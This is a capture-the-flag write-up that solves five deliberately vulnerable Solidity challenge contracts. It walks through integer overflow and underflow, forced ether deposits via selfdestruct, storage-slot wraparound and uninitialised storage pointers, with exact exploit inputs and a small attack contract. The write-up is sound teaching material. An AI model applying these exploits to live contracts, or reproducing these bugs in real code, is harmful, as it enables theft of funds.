Math
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}
The constant
PRICE_PER_TOKEN
is 1 ether, which is represented by 10**18
wei in Solidity. This is a really large number.In the function
buy()
:
buy() overflow
We know that integer overflow/underflow is a thing for old versions prior to Solidity 0.8. Since
PRICE_PER_TOKEN
is huge and we have control over numTokens
, we can pick a suitable numTokens
and make numTokens * PRICE_PER_TOKEN
overflow.How large
numTokens
is supposed to be? Let's do the math:// INT_MAX = 2**256 - 1 = 115792089237316195423570985008687907853269984665640564039457584007913129639935
// numTokens will multiply with 10**18, so take out the last 18 digits: 115792089237316195423570985008687907853269984665640564039457
// To overflow this thing after multiplication, add 1: 115792089237316195423570985008687907853269984665640564039458
// After multiplication, the product is 115792089237316195423570985008687907853269984665640564039458000000000000000000
// After overflow this becomes 415992086870360064, which is msg.value
// This value is slightly less than 0.5 ether and it is suitable to solve this challenge
- 1.Copy and paste the challenge contract into Remix and interact with it via "At Address".
- 2.Call
buy(115792089237316195423570985008687907853269984665640564039458)
and send 415992086870360064 wei asmsg.value
. - 3.Call
sell(1)
. - 4.Call
isComplete()
to verify if the challenge was successfully solved.
pragma solidity ^0.4.21;
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}
The
transferFrom(from, to, value)
function calls _transfer(to, value)
:function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
This implementation is wrong. In fact, it deducts balance from
msg.sender
instead of from
. Moreover, balanceOf[msg.sender] -= value
has underflow problem.Here is the attack plan:
- Initially we have
balanceOf[player] = 1000
. - Create a proxy account in Metamask, call it
backup
. player
callstransfer(backup, 510)
. Here "510" can be any number greater than 500. If we transfer 510 tokens tobackup
, we now have 490 inplayer
and 510 inbackup
.backup
callsapprove(player, 500)
. This sets the allowance and prepares fortransferFrom()
.player
callstransferFrom(backup, backup, 500)
. In this step,_transfer(backup, 500)
is being called. Since_transfer()
deducts balance frommsg.sender
instead offrom
, theplayer
's account will be deducted 500. Recall thatplayer
's balance is 490 at this moment, sobalanceOf[msg.sender]
is going to underflow to a huge number. That is, theplayer
account has a huge balance now.- Call
isComplete()
to verify if the challenge was successfully solved.
pragma solidity ^0.4.21;
contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;
function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);
beneficiary = player;
startBalance = msg.value;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function withdraw() public {
require(msg.sender == owner);
if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}
function collectPenalty() public {
require(msg.sender == beneficiary);
uint256 withdrawn = startBalance - address(this).balance;
// an early withdrawal occurred
require(withdrawn > 0);
// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}
The
collectPenalty()
function has underflow problem:
collectPenalty() underflow
Here
startBalance
is 1 ether, and the developer assumed that address(this).balance <= 1
. This assumption is clearly false since an attacker can call selfdestruct()
in a proxy contract to forcefully send ether to the challenge contract. This will make address(this).balance > startBalance
, so startBalance - address(this).balance < 0
and it causes underflow. withdrawn
will be a huge positive number.Write a selfdestruct contract and deploy it with
msg.value == 1 wei
:pragma solidity ^0.4.21;
interface IRetirementFundChallenge {
function collectPenalty() external;
function isComplete() external view returns (bool);
}
contract SelfDestruct {
function SelfDestruct(address _challenge) public payable {
require(msg.value == 1);
selfdestruct(_challenge);
}
}
After that, copy and paste the challenge contract into Remix and interact with it via "At Address". Call
collectPenalty()
. This step must be done manually since collectPenalty()
checks require(msg.sender == beneficiary)
and we have beneficiary = player
in the constructor. Call isComplete()
to verify that the challenge was solved successfully.pragma solidity ^0.4.21;
contract MappingChallenge {
bool public isComplete;
uint256[] map;
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}
map[key] = value;
}
function get(uint256 key) public view returns (uint256) {
return map[key];
}
}
uint256[] map
is a dynamic array stored in storage:In the case of a dynamic array, the reserved slot p contains the length of the array as a uint256, and the array data itself is located sequentially at the address keccak256(p).
Read more about storage:
Understanding Ethereum Smart Contract Storage
Understanding Ethereum Smart Contract Storage
In our case, the storage layout is:
slot 0: isComplete
slot 1: map.length
// ...
slot keccak(1): map[0]
slot keccak(1) + 1: map[1]
slot keccak(1) + 2: map[2]
slot keccak(1) + 3: map[3]
slot keccak(1) + 4: map[4]
// ...
Recall that the max storage slot is
2**256 - 1
and the next slot after that is just slot 0 because of the overflow.Let's do a bit of math:
map[0]
is at slotkeccak(1)
.- Max storage is at slot
2**256
. - We need to overwrite slot
2**256 - keccak(1)
, which is just slot 0. keccak(1) == 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
2**256 - 1 == 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
2**256 - keccak(1) = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1
Compuet
2**256 - keccak(1)
in Python:>>> 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1
35707666377435648211887908874984608119992236509074197713628505308453184860938
Call
set(35707666377435648211887908874984608119992236509074197713628505308453184860938,1)
to overwrite isComplete
.pragma solidity ^0.4.21;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
}
Note that when the struct
donation
is declared, its location is not defined (memory
or storage
). In this case, Solidity picks storage
by default. Since donation
is uninitialized, it will be pointing to slot 0 and slot 2 (this struct has two entries, each entry is 32-byte long). Specifically, donation.timestamp
points to slot 0 and donation.etherAmount
points to slot 1.Learn more about storage:
Understanding Ethereum Smart Contract Storage
Understanding Ethereum Smart Contract Storage
Let's anaylze the storage of this contract:
- slot 0: since
Donation[] public donations
is a dynamic array, its length is stored in this slot. - slot 1:
address public owner
is stored here.
When the following code snippet is executed:
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
Since
donation
is uninitialized, donation.timestamp
overwrites slot 0 and donation.etherAmount
overwrites slot 1. That is, we can overwrite owner
with donation.etherAmount
.Now our task is choosing a suitable
donation.etherAmount
. This value is uint256, but we want it to represent an address. Note that there is another bug in the donate()
function:
donate()
Since
ether
is just an alias of 10**18
, this code is equivalent to:uint256 scale = 10**18 * 1 * 10**18;
require(msg.value == etherAmount / (10**18 * 1 * 10**18))
In this way,
msg.value
will be a small number, definitely less than 1 ether. Here you can convert your Metamask wallet address to uint256, compute msg.value == <converted_address> / 10**36
and call donate(<converted_address>)
together with the msg.value
you just computed. Once owner
is overwritten, call withdraw()
.
Last modified 5mo ago